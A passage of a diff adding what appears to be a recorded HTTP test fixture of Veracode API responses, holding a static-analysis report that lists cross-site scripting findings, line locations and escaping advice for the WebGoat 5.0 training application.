+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:10:42 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:10:45 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:10:45 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
